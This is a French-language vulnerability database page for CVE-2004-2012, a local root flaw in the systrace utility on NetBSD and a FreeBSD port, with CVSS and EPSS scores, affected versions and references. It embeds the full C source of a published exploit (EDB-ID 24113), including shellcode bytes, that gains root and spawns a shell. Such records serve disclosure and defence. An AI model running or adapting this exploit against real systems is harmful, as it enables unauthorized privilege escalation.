CVE-2004-2012 : Détail

CVE-2004-2012

0.04%V3
Local
2005-05-10
02h00 +00:00
2017-07-10
12h57 +00:00
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

The systrace_exit function in the systrace utility for NetBSD-current and 2.0 before April 16, 2004, and certain FreeBSD ports, does not verify the owner of the /dec/systrace connection before setting euid to 0, which allows local users to gain root privileges.

Informations du CVE

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 7.2 AV:L/AC:L/Au:N/C:C/I:C/A:C [email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 24113

Date de publication : 2004-05-10 22h00 +00:00
Auteur : Stefan Esser
EDB Vérifié : Yes

// source: https://www.securityfocus.com/bid/10320/info A vulnerability has been reported that affects Systrace on NetBSD, as well as the FreeBSD port by Vladimir Kotal. The source of the issue is insufficient access validation when a systraced process is restoring privileges. This issue can be exploited by a local attacker to gain root privileges on a vulnerable system. #include <stdio.h> #include <sys/ioctl.h> #include <fcntl.h> #include <sys/systrace.h> #define systrace_device "/dev/systrace" char MAGIC[] = "\x53\x31\xc0\x50\x50\x50\x50\xb8\x03\x00\x00\x00" "\xcd\x80\x83\xc4\x10\xb8\x00\x00\xc0\xbf\x94\x50" "\xb8\x03\x00\x00\x00\xcd\x80\x5b\x87\xe3\x5b\xc3"; void (*magic)(void) = MAGIC; int nbsd_systrace_open() { int fd; printf("[+] Connecting to %s... ", systrace_device); fd = open(systrace_device, O_RDONLY, 0); if (fd == -1) { perror("failed with error: "); printf("\nSorry but the exploit failed\n"); exit(1); } printf("done.\n"); return (fd); } int nbsd_attach_parent(int fd) { pid_t pid = getppid(); printf("[+] Attaching to parent... "); if (ioctl(fd, STRIOCATTACH, &pid) == -1) { perror("failed with error: "); printf("\nSorry but the exploit failed\n"); } printf("done.\n"); return (0); } void nbsd_handle_msg(int fd) { struct str_message msg; struct systrace_answer ans; int r; r = read(fd, &msg, sizeof(msg)); if (r != sizeof(msg)) { exit(1); } memset(&ans, 0, sizeof(ans)); ans.stra_pid = msg.msg_pid; ans.stra_seqnr = msg.msg_seqnr; ans.stra_policy = SYSTR_POLICY_PERMIT; ans.stra_flags = SYSTR_FLAGS_RESULT|SYSTR_FLAGS_SETEUID|SYSTR_FLAGS_SETEUID; ans.stra_error = 0; ans.stra_seteuid = getuid(); ans.stra_setegid = getgid(); if (ioctl(fd, STRIOCANSWER, &ans) == -1); } void doit() { int p,f,fd; fd = nbsd_systrace_open(); f = fork(); if (f == 0) { sleep(1); nbsd_attach_parent(fd); while (1) { nbsd_handle_msg(fd); } exit(1); } printf("[+] Doing some magic... "); sleep(2); magic(); setuid(0); setgid(0); kill(f, 9); if (getuid() != 0) { printf("failed.\n"); printf("\nSorry but the exploit failed."); exit(1); } printf("done.\n\n"); system("uname -v"); system("id"); execlp("/bin/sh", "/bin/sh", 0); } void banner() { printf("NetBSD/x86 systrace local root exploit\n"); printf("by ziegenpeter\n\n"); if (getuid() == 0) { printf("no comment\n"); exit(1); } } int main(int argc, char **argv) { int fd; banner(); doit(); return (0); }

Products Mentioned

Configuraton 0

Niels>>Provos_systrace >> Version 1.1

    Niels>>Provos_systrace >> Version 1.2

      Niels>>Provos_systrace >> Version 1.3

        Niels>>Provos_systrace >> Version 1.4

          Niels>>Provos_systrace >> Version 1.5

            Vladimir_kotal>>Systrace_port_for_freebsd >> Version 2004-03-09

              Vladimir_kotal>>Systrace_port_for_freebsd >> Version 2004-06-02

                Configuraton 0

                Netbsd>>Netbsd >> Version 2.0

                Références

                http://marc.info/?l=bugtraq&m=108432258920570&w=2
                Tags : mailing-list, x_refsource_BUGTRAQ
                http://www.securityfocus.com/bid/10320
                Tags : vdb-entry, x_refsource_BID
                http://secunia.com/advisories/11585
                Tags : third-party-advisory, x_refsource_SECUNIA